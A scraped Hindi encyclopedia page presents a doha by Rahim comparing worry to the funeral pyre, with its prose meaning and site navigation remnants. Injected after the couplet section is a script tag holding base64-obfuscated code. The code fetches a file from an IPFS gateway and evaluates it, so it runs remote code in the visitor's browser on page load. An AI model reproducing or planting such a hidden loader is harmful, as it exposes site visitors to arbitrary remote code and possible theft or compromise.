एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

रहिमन कठिन चितान तै -रहीम  

‘रहिमन’ कठिन चितान तै, चिंता को चित चैत।
चिता दहति निर्जीव को, चिन्ता जीव-समेत॥

अर्थ

चिन्ता यह चिता से भी भंयकर है। सो तू चेत जा। चिता तो मुर्दे को जलाती है, और यह चिन्ता जिन्दा को ही जलाती रहती है।


रहीम के दोहे
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=रहिमन_कठिन_चितान_तै_-रहीम&oldid=547709" से लिया गया